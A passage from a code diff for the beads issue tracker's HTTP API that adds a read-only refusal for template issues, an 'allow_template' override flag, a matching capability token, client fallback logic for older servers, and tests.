`dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). Code string `json:"code"` // DeclaredLater With `invalid_argument` on a batch operation whose items may name each other: whether the unresolvable key IS declared by the request, at a LATER index. @@ -2096,6 +2096,9 @@ type UpdateIssueRequest struct { // Actor Who is editing the issue. `ClaimRequest.actor`'s rules exactly: the server trims it, then refuses an empty result, anything longer than 256 BYTES (the `maxLength` above counts characters — the byte limit is the binding one), and any control character including newline. The value reaches the history entry's attribution and the storage commit message, so an unvalidated newline would forge audit-trail lines. Actor string `json:"actor"` + // AllowTemplate The caller edits a template deliberately, so the template read-only refusal (`409 template_read_only`) stands down for this request. `bd label` and `bd set-state` send it: they have always written to templates. It bypasses nothing else, and has no effect on an issue that is not a template. Advertised by the `issues.update.allowTemplate` capability token; a server that predates the member refuses it as an unknown parameter, and such a server never applies the template guard either. + AllowTemplate *bool `json:"allow_template,omitempty"` + // Claim Claims the issue for `actor` in the same transaction as `patch`: `bd update --claim`, served by the same role. The claim sets `assignee` to `actor` and `status` to `in_progress`, then the patch applies, so a `patch.assignee` or `patch.status` overrides the claim's value. Eligibility is `{id}:claim`'s: a claimable status, and unassigned, already held by `actor`, or held by a configured claim pool. Held by `actor` and `in_progress` already is an idempotent success. A refusal is `409 already_claimed` or `409 not_claimable` naming `claim`, and writes nothing — the patch included. With `claim: true` the `patch` may be empty. It must not be combined with `expected_assignee`, `expected_status` or `force_assignee_transfer`; a request that does is a `400` naming `claim`. Claim *bool `json:"claim,omitempty"` diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 723ce8615..8b2e3fcba 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -1054,6 +1054,11 @@ func (s *Server) failApplyBatch(w http.ResponseWriter, r *http.Request, request s.fail(w, r, at(closeBlockedResult(err, "an item closes a blocked issue", "clear the blocker, or send the item's force flag"), "")) + // An update item naming a template: the shared mapping plus the item + // members. + case errors.Is(err, issueops.ErrTemplateReadOnly): + s.fail(w, r, at(ClassifyError(err), "")) + case errors.Is(err, storage.ErrAlreadyClaimed): res := at(newResult(CodeAlreadyClaimed, "an update transfers work away from a live foreign owner; send `force_assignee_transfer`, or guard with `expected_assignee`"), "assignee") diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index 87618d3bd..a7694e09a 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -136,6 +136,16 @@ const ( // notes and the patched ones), not about a foreign actor's identity a // client might need to display. CodeNotesOverwrite Code = "notes_overwrite_refused" + // CodeTemplateReadOnly is a guarded mutation that names a template; + // operationCodes lists the operations that answer it, and not every verb + // guards templates yet (bd-jkp9v3). Templates are read-only — work comes + // out of one by pouring it, which creates new issues — so no force flag + // waives it: the same request refuses for as long as the row is a + // template. The one stand-down is updateIssue's `allow_template`, a + // deliberate template edit (bd label, bd set-state). + // A 409 for CodeNotClosable's reason: the body is well-formed and the + // STATE of the named row refuses it. + CodeTemplateReadOnly Code = "template_read_only" // CodeDependencyCycle covers BOTH never-makes-progress refusals a requested // edge set can earn: a scheduling cycle, and a blocking edge against the // issue's own ancestor or descendant. They are one code because they have @@ -262,6 +272,7 @@ var codeStatus = map[Code]int{ CodeNotClaimable: http.StatusConflict, CodeNotClosable: http.StatusConflict, CodeNotesOverwrite: http.StatusConflict, + CodeTemplateReadOnly: http.StatusConflict, CodeNotReleasable: http.StatusConflict, CodeDependencyCycle: http.StatusConflict, CodeDependencyExists: http.StatusConflict, @@ -897,9 +908,14 @@ var operationCodes = map[string][]Code{ // // not_claimable arrived with `claim`, beside the already_claimed it shares // with the fence: a refused claim answers as claimIssue does. + // + // template_read_only is the role refusing an update of a template: + // templates are read-only, no force flag waives it, and only + // `allow_template` stands it down. OpUpdateIssue: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, + CodeTemplateReadOnly, CodeNotClaimable, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, @@ -962,6 +978,7 @@ var operationCodes = map[string][]Code{ OpApplyBatch: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, CodeAlreadyExists, + CodeTemplateReadOnly, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, @@ -1543,6 +1560,11 @@ func ClassifyError(err error) Result { case errors.Is(err, issueops.ErrCloseBlocked): return closeBlockedResult(err, "issue is blocked", "clear the blocker or close with force") + // The detail is this server's own words rather than the role's message, + // for the reason Problem.detail gives. + case errors.Is(err, issueops.ErrTemplateReadOnly): + return newResult(CodeTemplateReadOnly, "this issue is a template, and templates are read-only; pour it to create work") + case errors.Is(err, ErrBusy): res := newResult(CodeBusy, "") res.RetryAfterSeconds = retryAfterSaturation diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 1dc78fa94..f0c7b69d9 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -161,6 +161,19 @@ const CapIssuesSweepLimit = "issues.sweep.limit" // predate it; it refuses locally before the dial when the token is absent. const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" +// CapIssuesUpdateAllowTemplate is the behavior capability that advertises +// two things together: updateIssue enforces the role's template read-only +// refusal, and UpdateIssueRequest's `allow_template` member (update.go) stands +// it down for one request (the caller edits a template deliberately). An +// older server predating this token answers the member with +// `400 invalid_argument`/`unknown_parameter` and applies no template guard, +// so a client that does not see the token refuses a template update itself +// before the dial and sends the request without the member. That fallback +// covers updateIssue only: an applyBatch `update` item gets no client-side +// check (its target resolves on the server), so through an older server it +// still edits a template (bd-jkp9v3). +const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -922,7 +935,7 @@ func (r route) specPathOf() string { var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, - CapBatchApplyDepAddLineage, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 6f787874c..0460d6231 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -637,7 +637,7 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // oracle rather than a second call to the code under test. want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", - "issues.batchApply.depAddLineage") + "issues.batchApply.depAddLineage", "issues.update.allowTemplate") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 0c087a175..6d9c5b354 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -2501,10 +2501,11 @@ paths: '409': description: >- The request is well-formed and the STATE refuses it, and NOTHING WAS - WRITTEN. Six codes, each inherited from the operation that already - publishes it rather than minted here, and described in the - paragraphs below — `dependency_cycle` and `dependency_exists` share - one, because they are one member reaching the graph. + WRITTEN. Eight codes, described in the paragraphs below; all but + `template_read_only` are inherited from the operation that already + publishes them rather than minted here, and `dependency_cycle` and + `dependency_exists` share one paragraph, because they are one member + reaching the graph. `already_claimed` and `not_claimable` with `param: "claim"` are a @@ -2557,9 +2558,18 @@ paths: both of which write blocking edges and do carry it: this operation publishes no member that writes one. What you get here is the plain scheduling cycle, every time. + + + `template_read_only` is an update of a template. Templates are + read-only — work comes out of one by pouring it — so every update + naming one refuses, whatever the patch and force flags, unless it + sets `allow_template` (a deliberate template edit). + It is checked after the guards above, so a stale guard still answers + `precondition_failed`. x-bd-codes: [already_claimed, dependency_cycle, dependency_exists, - not_claimable, not_closable, notes_overwrite_refused, precondition_failed] + not_claimable, not_closable, notes_overwrite_refused, precondition_failed, + template_read_only] content: application/problem+json: schema: @@ -4328,6 +4338,11 @@ paths: per-item bypasses, and a forced item never earns this. + `template_read_only` is an `update` item whose target is a + template, exactly as `PATCH /v0/beads/issues/{id}` answers it; no + item member bypasses it. + + `already_claimed` is the assignee fence: an `update` whose `patch.assignee` transfers work away from a live foreign in-progress owner. `update.force_assignee_transfer` is the bypass, and @@ -4357,7 +4372,8 @@ paths: a malformed request. x-bd-codes: [already_claimed, already_exists, dependency_cycle, - dependency_exists, not_closable, notes_overwrite_refused, precondition_failed] + dependency_exists, not_closable, notes_overwrite_refused, precondition_failed, + template_read_only] content: application/problem+json: schema: @@ -8065,7 +8081,11 @@ components: `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than - a `400` naming the member unknown. The + a `400` naming the member unknown, and + `issues.update.allowTemplate`, which announces that + `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see + `UpdateIssueRequest`) rather than a `400` naming the member + unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -11597,6 +11617,18 @@ components: `expected_assignee` exemption: there is no compare-and-set that authorizes a notes overwrite, so combining the two is legal and each answers its own question. + allow_template: + type: boolean + default: false + description: >- + The caller edits a template deliberately, so the template read-only + refusal (`409 template_read_only`) stands down for this request. + `bd label` and `bd set-state` send it: they have always written to + templates. It bypasses nothing else, and has no effect on an issue + that is not a template. Advertised by the + `issues.update.allowTemplate` capability token; a server that + predates the member refuses it as an unknown parameter, and such a + server never applies the template guard either. IssuePatchBody: type: object @@ -12153,6 +12185,7 @@ components: configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), + `template_read_only` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), diff --git a/internal/httpapi/update.go b/internal/httpapi/update.go index 35feb3932..64df715ce 100644 --- a/internal/httpapi/update.go +++ b/internal/httpapi/update.go @@ -39,7 +39,8 @@ const ( var ( updateRequestMembers = []string{ "actor", updateClaimMember, "expected_assignee", "expected_status", "expected_version", - "force_assignee_transfer", "force_close_policy", "force_notes_overwrite", updatePatchMember, + "force_assignee_transfer", "force_close_policy", "force_notes_overwrite", "allow_template", + updatePatchMember, } issuePatchMembers = []string{ "title", "description", "design", "acceptance_criteria", @@ -181,6 +182,12 @@ func (s *Server) updateRequest(w http.ResponseWriter, r *http.Request, id string if !ok { return issueops.UpdateRequest{}, false } + // allow_template is passed through: the role owns the template guard and + // what standing it down means. + allowTemplate, ok := s.booleanMember(w, r, members, "allow_template") + if !ok { + return issueops.UpdateRequest{}, false + } if forceNotesOverwrite && !patch.Notes.Set { s.fail(w, r, InvalidArgument("force_notes_overwrite", ReasonInvalidValue, "`force_notes_overwrite` bypasses the fence on a NOTES REPLACEMENT; send `patch.notes` with it")) @@ -244,6 +251,7 @@ func (s *Server) updateRequest(w http.ResponseWriter, r *http.Request, id string ForceClosePolicy: forceClosePolicy, ForceAssigneeTransfer: forceAssigneeTransfer, ForceNotesOverwrite: forceNotesOverwrite, + AllowTemplate: allowTemplate, Provenance: updateProvenance, }, true } diff --git a/internal/httpapi/update_template_test.go b/internal/httpapi/update_template_test.go new file mode 100644 index 000000000..505535c2a --- /dev/null +++ b/internal/httpapi/update_template_test.go @@ -0,0 +1,107 @@ +package httpapi + +import ( + "fmt" + "net/http" + "strings" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// The template guard is the ROLE's (issueops.Lifecycle.Update, and the batch +// applier's update items, which share its body), so these cases drive a fake +// role that refuses the way the real one does and pin what the wire makes of +// it. The real role behind a real server is the served leg of the conformance +// contracts (internal/httpclient: TestServedLifecycleUpdateRefusesATemplate and +// TestServedBatchApplyUpdateItemsRefuseATemplate), which also proves the client +// rebuilds the typed error. + +// templateRefusal is the refusal as a unit-of-work backend returns it: wrapped, +// so the mapping has to find it by type rather than by being handed the value. +func templateRefusal() error { + return fmt.Errorf("update bd-1: %w", &issueops.TemplateReadOnlyError{IssueID: "bd-1"}) +} + +func assertTemplateDetailIsOurs(t *testing.T, detail any) { + t.Helper() + text, _ := detail.(string) + if text == "" || strings.Contains(text, "cannot modify template") { + t.Errorf("detail = %q, want this server's own sentence rather than the role's", text) + } +} + +func TestUpdateOfATemplateIsATypedConflict(t *testing.T) { + lifecycle := &roleLifecycle{updateErr: templateRefusal()} + ts := newUpdateServer(t, lifecycle) + + resp := ts.updateIssue(t, updatePath, `{"actor":"alice","patch":{"title":"edited"},"force_close_policy":true}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeTemplateReadOnly) { + t.Errorf("code = %v, want %s", body["code"], CodeTemplateReadOnly) + } + assertTemplateDetailIsOurs(t, body["detail"]) + // The handler decides nothing: the request reached the role whole, force + // flag included, and the refusal is the role's. + if got := lifecycle.updateRequests(); len(got) != 1 || !got[0].ForceClosePolicy { + t.Fatalf("the role received %+v, want one request carrying ForceClosePolicy", got) + } +} + +func TestApplyBatchUpdateItemOnATemplateIsATypedConflict(t *testing.T) { + applier := &roleBatchApplier{err: itemErr(1, issueops.ItemUpdate, "", "bd-1", templateRefusal())} + ts := newApplyBatchServer(t, applier) + + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[{"kind":"create","create":{"title":"one"}}]}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeTemplateReadOnly) { + t.Errorf("code = %v, want %s", body["code"], CodeTemplateReadOnly) + } + if body["item_index"] != float64(1) || body["item_kind"] != "update" || body["item_issue_id"] != "bd-1" { + t.Errorf("item members = %v/%v/%v, want 1/update/bd-1", body["item_index"], body["item_kind"], body["item_issue_id"]) + } + assertTemplateDetailIsOurs(t, body["detail"]) +} + +// TestUpdateCarriesAllowTemplateToTheRole pins that `allow_template` is decoded +// onto the role request and nothing else: the role owns what it waives. +func TestUpdateCarriesAllowTemplateToTheRole(t *testing.T) { + for _, tc := range []struct { + body string + want bool + }{ + {`{"actor":"alice","patch":{"title":"edited"},"allow_template":true}`, true}, + {`{"actor":"alice","patch":{"title":"edited"},"allow_template":false}`, false}, + {`{"actor":"alice","patch":{"title":"edited"}}`, false}, + } { + lifecycle := &roleLifecycle{updateResult: issueops.UpdateResult{Issue: updatedIssue("bd-1"), Changed: true}} + ts := newUpdateServer(t, lifecycle) + resp := ts.updateIssue(t, updatePath, tc.body) + if resp.StatusCode != http.StatusOK { + t.Fatalf("%s: status = %d, want 200: %s", tc.body, resp.StatusCode, readAll(t, resp)) + } + _ = resp.Body.Close() + got := lifecycle.updateRequests() + if len(got) != 1 || got[0].AllowTemplate != tc.want { + t.Errorf("%s: the role received %+v, want AllowTemplate=%v", tc.body, got, tc.want) + } + } +} + +func TestUpdateRefusesANonBooleanAllowTemplate(t *testing.T) { + lifecycle := &roleLifecycle{} + ts := newUpdateServer(t, lifecycle) + resp := ts.updateIssue(t, updatePath, `{"actor":"alice","patch":{"title":"edited"},"allow_template":"yes"}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + if got := lifecycle.updateRequests(); len(got) != 0 { + t.Errorf("the role was reached with %+v", got) + } +} diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index a9c50dec3..89c866bab 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -4781,6 +4781,12 @@ "type": "string", "required": true }, + { + "schema": "UpdateIssueRequest", + "member": "allow_template", + "type": "boolean", + "required": false + }, { "schema": "UpdateIssueRequest", "member": "claim", diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go index 06f583730..1bad6d62c 100644 --- a/internal/httpclient/lifecycle.go +++ b/internal/httpclient/lifecycle.go @@ -15,6 +15,7 @@ import ( "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpclient/encode" "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -330,6 +331,11 @@ func (l *httpLifecycle) Update(ctx context.Context, req issueops.UpdateRequest) return issueops.UpdateResult{}, invalid("update names no field to write") } + req, err = l.applyTemplateGuardForServer(ctx, req) + if err != nil { + return issueops.UpdateResult{}, err + } + res, err := l.wire.UpdateIssue(ctx, req.IssueID, req.Actor, patch, updateGuards(req), updateFlags(req)) if err != nil { if req.Claim && isClaimOnlyUpdate(req) && serverPredatesUpdateClaim(err) { @@ -384,6 +390,7 @@ func updateFlags(req issueops.UpdateRequest) wire.UpdateFlags { ForceAssigneeTransfer: req.ForceAssigneeTransfer, ForceClosePolicy: req.ForceClosePolicy, ForceNotesOverwrite: req.ForceNotesOverwrite, + AllowTemplate: req.AllowTemplate, } } @@ -406,6 +413,38 @@ func serverPredatesUpdateClaim(err error) bool { problem.Param == "claim" } +// applyTemplateGuardForServer decides, BEFORE the dial and from the cached +// handshake, how the template read-only guard (storage +// issueops.AuthorizeTemplateUpdate) reaches the server this request goes to. +// +// A server advertising wire.CapIssuesUpdateAllowTemplate enforces the guard in +// the update's own transaction and accepts `allow_template`, so req goes out +// as is. A server without the token predates both: it would edit a template +// for any caller, and it refuses `allow_template` as an unknown parameter. So +// against it the client runs the same rule itself, on a pre-read of the row — +// the refusal `bd update` and `bd assign` always made before dialing — and +// clears AllowTemplate, which that server has no guard to stand down. A row +// the pre-read cannot find goes out unchanged: the server's own not-found +// answer is the one to report. +func (l *httpLifecycle) applyTemplateGuardForServer(ctx context.Context, req issueops.UpdateRequest) (issueops.UpdateRequest, error) { + snap, err := l.store.snapshot(ctx) + if err != nil { + return req, err + } + if snap != nil && slices.Contains(snap.Capabilities, wire.CapIssuesUpdateAllowTemplate) { + return req, nil + } + if req.AllowTemplate { + req.AllowTemplate = false + return req, nil + } + before, err := l.store.GetIssue(ctx, req.IssueID) + if err != nil { + return req, err + } + return req, storageops.AuthorizeTemplateUpdate(before, req) +} + // Close dials POST issues/{id}:close. func (l *httpLifecycle) Close(ctx context.Context, req issueops.CloseRequest) (issueops.CloseResult, error) { if err := requireActor(req.Actor); err != nil { @@ -625,6 +664,7 @@ func isClaimOnlyUpdate(req issueops.UpdateRequest) bool { !req.ForceAssigneeTransfer && !req.ForceClosePolicy && !req.ForceNotesOverwrite && + !req.AllowTemplate && !req.IssuePlaneOnly && req.Provenance == "" && req.ExpectedVersion == nil && diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index d7fa20172..fa21e6b0c 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -247,6 +247,20 @@ func TestServedBatchApplyRefusesAnUnusableRequest(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba26")) } +func TestServedBatchApplyUpdateItemsRefuseATemplate(t *testing.T) { + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, t.Context(), newServedBatchApplyFixture(t, "hbatu")) +} + +// TestServedBatchApplySplicesTheMetadataOfATemplateItCreates is PARKED: a create +// item cannot make a template over the v0 wire (ApplyCreateItem publishes no +// is_template member), so the client refuses the plan before the splice could +// be reached. The served update guard itself is pinned by the case above. +func TestServedBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T) { + skipKnownDivergence(t, "W-CreateItem.Issue", parkBead, + "ApplyCreateItem publishes no is_template member, so a plan that creates a template is refused client-side") + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, t.Context(), newServedBatchApplyFixture(t, "hbats")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go index 77a995752..9f8033046 100644 --- a/internal/httpclient/served_claim_lifecycle_test.go +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -762,6 +762,19 @@ func TestServedLifecycleUpdateProvenanceLabelsHistory(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, t.Context(), newServedUpdateFixture(t, "hlpv")) } +// TestServedLifecycleUpdateRefusesATemplate is the served leg of the template +// guard: bd serve refuses with template_read_only and the client rebuilds the +// typed error — sentence included — the embedded store returns. +func TestServedLifecycleUpdateRefusesATemplate(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, t.Context(), newServedUpdateFixture(t, "hlut")) +} + +// TestServedLifecycleUpdateAllowTemplateEditsATemplate is the served leg of +// the guard's stand-down: allow_template rides the wire and the role honours it. +func TestServedLifecycleUpdateAllowTemplateEditsATemplate(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, t.Context(), newServedUpdateFixture(t, "hlua")) +} + func TestServedLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t *testing.T) { conformance.RunLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t, t.Context(), newServedUpdateFixture(t, "hluu")) } diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 60476683a..a52f81cb1 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -209,6 +209,18 @@ const CapSweepLimit = "issues.sweep.limit" // asked to carry against an older server. const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" +// CapIssuesUpdateAllowTemplate is the behavior capability announcing that +// updateIssue enforces the template read-only guard and accepts +// `allow_template` to stand it down, spelled exactly as httpapi's constant of +// the same name. Lifecycle.Update reads it from the cached handshake before +// the dial (applyTemplateGuardForServer): against a server without it, which +// predates the guard, the client refuses a template update itself on a +// pre-read and never sends `allow_template`. BatchApplier does not read it: +// an applyBatch `update` item gets no client-side check (its target resolves +// on the server), so through an older server it still edits a template +// (bd-jkp9v3). +const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -349,7 +361,7 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, - CapBatchApplyDepAddLineage, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/problem.go b/internal/httpclient/wire/problem.go index db2371718..a02dc3d34 100644 --- a/internal/httpclient/wire/problem.go +++ b/internal/httpclient/wire/problem.go @@ -638,6 +638,13 @@ var codeSentinel = map[string]func(*ProblemError, target) error{ // sentinel callers already switch on locally.] "notes_overwrite_refused": func(*ProblemError, target) error { return issueops.ErrNotesOverwrite }, + // The template guard, rebuilt whole so a caller reads the same typed error + // — and the same message — the embedded store returns. The row comes from + // the request or, on a batch, from `item_issue_id`. + "template_read_only": func(e *ProblemError, t target) error { + return &issueops.TemplateReadOnlyError{IssueID: refusedIssueID(e, t)} + }, + // The same rule again: `issue_id` present means the edge named the issue's // own ancestor or descendant, absent means a plain scheduling cycle. The // three hierarchy members travel together and rebuild the typed error whole diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index c650ac7f5..01a0ea9cf 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -196,11 +196,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if !slices.Equal(behaviorCapabilities, []string{ httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, - httpapi.CapBatchApplyDepAddLineage, + httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ - "issues.batchApply.depAddLineage tokens", behaviorCapabilities) + "issues.batchApply.depAddLineage and issues.update.allowTemplate tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go index a6791100f..c9557f1b1 100644 --- a/internal/httpclient/wire/writes.go +++ b/internal/httpclient/wire/writes.go @@ -228,7 +228,7 @@ type updateBody struct { Actor string `json:"actor"` Patch map[string]any `json:"patch"` UpdateGuards - // The four UpdateFlags, each sent only when true (setItemBool's + // The five UpdateFlags, each sent only when true (setItemBool's // convention: an explicit false is the default said twice). Absent is // what an older server that predates a member reads correctly, which is // what lets a request that sets none of them reach a server that knows @@ -237,15 +237,16 @@ type updateBody struct { ForceAssigneeTransfer *bool `json:"force_assignee_transfer,omitempty"` ForceClosePolicy *bool `json:"force_close_policy,omitempty"` ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` + AllowTemplate *bool `json:"allow_template,omitempty"` } -// UpdateFlags are updateIssue's four top-level booleans: the claim, and the -// three force overrides. UpdateIssueRequest publishes all four -// (internal/httpapi/apigen's generated type) and none is a GUARD — none carries -// a comparison value, unlike every member UpdateGuards holds — so they travel -// as their own struct rather than joining that one. +// UpdateFlags are updateIssue's five top-level booleans: the claim, the three +// force overrides and the template stand-down. UpdateIssueRequest publishes all +// five (internal/httpapi/apigen's generated type) and none is a GUARD — none +// carries a comparison value, unlike every member UpdateGuards holds — so they +// travel as their own struct rather than joining that one. // -// It is a struct rather than four arguments for UpdateGuards' reason: four +// It is a struct rather than five arguments for UpdateGuards' reason: five // positional booleans side by side are the shape a caller transposes, and a // transposed force flag is a bypass nobody asked for. type UpdateFlags struct { @@ -268,6 +269,9 @@ type UpdateFlags struct { // replace existing non-empty notes with different non-empty content. The // server requires patch.notes beside it. ForceNotesOverwrite bool + // AllowTemplate stands the template read-only refusal down for this + // request (bd label, bd set-state edit templates by design). + AllowTemplate bool } // UpdateIssue patches one issue. It is the only PATCH on this surface: the @@ -291,6 +295,7 @@ func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[st ForceAssigneeTransfer: trueOrAbsent(flags.ForceAssigneeTransfer), ForceClosePolicy: trueOrAbsent(flags.ForceClosePolicy), ForceNotesOverwrite: trueOrAbsent(flags.ForceNotesOverwrite), + AllowTemplate: trueOrAbsent(flags.AllowTemplate), } r := Request{Op: OpUpdateIssue, Method: http.MethodPatch, Path: path, Body: body, IssueID: id} if err := c.dispatch(ctx, r, &out); err != nil { diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index 945c51477..69f3514cd 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -262,6 +262,8 @@ func writeShapes() []writeShape { "ForceAssigneeTransfer": member("force_assignee_transfer"), "ForceClosePolicy": member("force_close_policy"), "Claim": member("claim"), + // The template guard's stand-down (bd label, bd set-state). + "AllowTemplate": member("allow_template"), }, }, { diff --git a/internal/httpclient/write_roles_test.go b/internal/httpclient/write_roles_test.go index e58916379..a4456dab6 100644 --- a/internal/httpclient/write_roles_test.go +++ b/internal/httpclient/write_roles_test.go @@ -383,7 +383,13 @@ func (s *stubWire) ListReadyWork(_ context.Context, _ url.Values) (*apigen.Ready func stubStore(t *testing.T, w *stubWire) *Store { t.Helper() - return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3"}) + // A current server: it advertises issues.update.allowTemplate, so + // Lifecycle.Update leaves the template guard to it and pre-reads nothing. + // TestUpdateTemplateGuardAgainstAServerThatPredatesIt covers the older one. + return New(testTarget(t), w, &apigen.ContextResponse{ + BdVersion: "1.2.3", + Capabilities: []string{wire.CapIssuesUpdateAllowTemplate}, + }) } func set[T any](v T) issueops.Field[T] { return issueops.Field[T]{Set: true, Value: v} } @@ -951,6 +957,12 @@ func TestUpdateSendsEachFlagOnlyWhenRequested(t *testing.T) { want: wire.UpdateFlags{ForceClosePolicy: true}, wantPatch: map[string]any{"status": string(issueops.StatusClosed)}, }, + { + name: "allow template", + req: issueops.UpdateRequest{Patch: notes, AllowTemplate: true}, + want: wire.UpdateFlags{AllowTemplate: true}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, { name: "a claim alone sends the empty patch", req: issueops.UpdateRequest{Claim: true}, @@ 